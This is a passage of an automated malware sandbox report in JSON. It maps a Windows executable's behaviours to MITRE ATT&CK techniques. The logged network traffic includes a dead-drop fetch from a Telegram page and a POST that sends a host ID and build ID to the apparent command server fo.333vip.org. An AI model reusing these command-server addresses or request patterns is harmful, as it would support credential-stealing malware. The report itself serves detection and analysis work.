Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$34","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$35","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" trying to access non-existent file \"\\Device\\RasAcd\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"SetsockoptInt\" (Indicator: \"setsockopt\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"SetsockoptIPMreq\" (Indicator: \"setsockopt\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"SetsockoptLinger\" (Indicator: \"setsockopt\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"SetsockoptIPv6Mreq\" (Indicator: \"setsockopt\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"SetsockoptInet4Addr\" (Indicator: \"setsockopt\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"setsockopt\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"205369d6aa0\"\n \"dwHeadersLength\": \"0\"\n \"dwOptionalLength\": \"0\"\n \"dwTotalLength\": \"0\"\n \"dwContext\": \"0\"}\n \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"20536a9e9d0\"\n \"dwHeadersLength\": \"0\"\n \"lpOptional\": \"------b4a9626f7729d42627f7Content-Disposition: form-data; name=\\\"hwid\\\"23EBD35BE7F8D3C20DA4-d27478a5-2058-D6FD6A8------b4a9626f7729d42627f7Content-Disposition: form-data; name=\\\"build_id\\\"b98dd86b169ec45dd28e99dcad12402a------b4a9626f7729d42627f7\"\n \"dwOptionalLength\": \"345\"\n \"dwTotalLength\": \"345\"\n \"dwContext\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"205369d6aa0\"\n \"lpReserved\": \"0\"}\n \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"20536a9e9d0\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /bj00tyr\"\n Found http requests in header \"POST /\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"file/memory contains long string with (Indicator: \"CreatePipe\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"file/memory contains long string with (Indicator: \"NetUserGetInfo\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"NetUserGetLocalGroups\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$38","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.17\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.31\"\n \"2.5.29.19\"\n \"2.5.29.15\"\n \"2.5.29.32\"\n \"2.5.29.14\"\n \"2.5.29.1\"\n \"2.5.29.10\"\n \"2.5.4.3\"\n \"2.5.29.16\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$3b","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00007980.00000000.140767.7E110000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /bj00tyr HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nAccept: text/html\napplication/xhtml+xml\napplication/xml;q=0.9\n*/*;q=0.8\nAccept-Encoding: gzip\n deflate\nAccept-Language: en-US\nen;q=0.9\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0\nHost: telegram.me\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://telegram.me/bj00tyr\n Found HTTPS POST request to https://fo.333vip.org/","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"fo.333vip.org\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"149.154.167.99\" on port \"443\"\n HTTPS traffic to \"104.21.93.196\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \":\\WINDOWS\\system32\\kerberos.DLL\" (Indicator: \"kerberos\"; Source: \"00000000-00007980.00000000.140767.369A0000.00000004.mdmp\")\n Found string \"icrosoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00007980.00000000.140767.369A0000.00000004.mdmp\")\n Found string \"Microsoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00007980.00000000.140767.369A0000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00007980.00000000.140767.369A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"file/memory contains long string with (Indicator: \"RtlGetNtVersionNumbers\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"syscall.procRtlGetNtVersionNumbers\" (Indicator: \"RtlGetNtVersionNumbers\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")\n Found reference to API \"runtime._RtlGetNtVersionNumbers\" (Indicator: \"RtlGetNtVersionNumbers\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKey (in long string)\" in file \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\"\n Found registry query API: \"RegEnumValue (in long string)\" in file \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\"\n Found registry query API: \"RegQueryValue (in long string)\" in file \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"file/memory contains long string with (Indicator: \"GetUserName\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"NetUserGetInfo\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"LookupAccountSid\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"LookupAccountName\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"GetTokenInformation\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"NetGetJoinInformation\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"file/memory contains long string with (Indicator: \"FindNextFile\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"FindFirstFile\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"file/memory contains long string with (Indicator: \"GetAdaptersInfo\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"GetAdaptersAddresses\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"file/memory contains long string with (Indicator: \"LookupAccountName\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"GetProcAddress\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"rrorrrored Ped PyramGetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00007980.00000000.140767.00092000.00000004.mdmp\")\n Found reference to API \"syscall.GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")\n Found reference to API \"syscall._GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")\n Found reference to API \"syscall.procGetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"file/memory contains long string with (Indicator: \"GetComputerName\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"file/memory contains long string with (Indicator: \"GetModuleFileName\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00007980.00000000.140767.00092000.00000004.mdmp\")\n Found reference to API \"internal/syscall/windows.GetModuleFileName\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")\n Found reference to API \"internal/syscall/windows.procGetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00007980.00000000.140767.01E03000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"file/memory contains long string with (Indicator: \"GetEnvironmentVariable\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"file/memory contains long string with (Indicator: \"getsockname\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"ing GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00007980.00000000.140767.00092000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"file/memory contains long string with (Indicator: \"route\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKey (in long string)\" in file \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\"\n Found registry deletion API: \"RegDeleteValue (in long string)\" in file \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00007980.00000000.140767.369A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"file/memory contains long string with (Indicator: \"CreateProcessAsUser\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"file/memory contains long string with (Indicator: \"DeleteFile\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"RemoveDirectory\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"file/memory contains long string with (Indicator: \"AdjustTokenPrivileges\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"file/memory contains long string with (Indicator: \"SetFileAttributes\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"file/memory contains long string with (Indicator: \"UpdateProcThreadAttribute\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"InitializeProcThreadAttributeList\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"ExitProcess\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")\n file/memory contains long string with (Indicator: \"TerminateProcess\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$40","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\"; Key: \"TS_494807E3\"; Value: \"D6FD6A8\")\n \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\LOCAL SETTINGS\\MUICACHE\\2FD\\52C64B7E\"; Key: \"LANGUAGELIST\"; Value: \"en-US\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to free the memory used by network management functions (API string)","description":"file/memory contains long string with (Indicator: \"NetApiBufferFree\"; File: \"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-223","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00007980.00000000.140767.369A0000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6ac5a7da2d893b0f5d01d392"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address 